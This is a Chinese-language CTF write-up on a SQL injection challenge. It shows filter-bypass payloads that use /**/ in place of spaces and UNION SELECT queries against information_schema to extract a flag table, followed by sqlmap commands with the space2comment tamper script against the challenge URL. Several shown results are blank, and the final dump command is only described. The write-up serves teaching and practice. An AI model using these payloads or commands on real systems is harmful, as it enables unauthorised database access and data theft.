我们输入1’ and ‘1’=’2,sql语句变为:
select name from user where id='1' and '1'='2'
这样查询条件为假,数据库不能读取数据。
基于上述的方式进行注入,我们首先使用 1and 1=1
如何 1 and 1=1'
出现错误了,然后,我们再输入:1and 1=1
就会发现and被过滤了并且空格被替换为+,因此我们可以推断,这个题过滤了常用的sql命令,
可以输入union and select from进行下测试,发现果然全被过滤掉了
这个时候我们需要知道:当空格被过滤的时候,通常用()或者/**/代替空格
那么我们可以选择爆库:
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
就会得到:
再找一下表:
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
发现有flag的表,很开森就继续爆flag:
1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/'1'='1
然而出现了错误(QAQ)
那么我们直接查询其内容吧:
1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
就会得到:
第二题:
使用sqlmap也是可以的
这里我们会用到tamper,是Python写的,sqlmap一般自带,主要的作用是绕过WAF ,空格被过滤可以使用space2comment.py,
过滤系统对大小写敏感可以使用randomcase.py等等。
这里用的level参数是执行测试的等级(1-5,默认为1)
,sqlmap默认测试所有的GET和POST参数,当–level的值大于等于2的时候也会
测试HTTP
Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值
首先爆库:
python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_2.php?id=1" --tamper=space2comment --dbs
其中:1.sqlmap:启动sqlmap。2.-u:参数 指目标的URL。3.--tamper:绕过WAF脚本。
4.space2comment :tamper脚本之一用于绕过过滤空格。5.--dbs列举数据库
然后在web1数据库中查找:
python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_2.php?id=1" --tamper=space2comment -D web1 --table
其中:1.-D:后面跟数据库的名字。2.--tables:列举库中的表格
然后在flag表中继续查找
python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_2.php?id=1" --tamper=space2comment -D web1 -T flag --colum
其中:1.-T:后面跟表格名字。2.--column列举表格中的列名
继续进行就会得到最后的结果:
其中:1.-C后面跟列的名字。2.--dump取出表单所有记录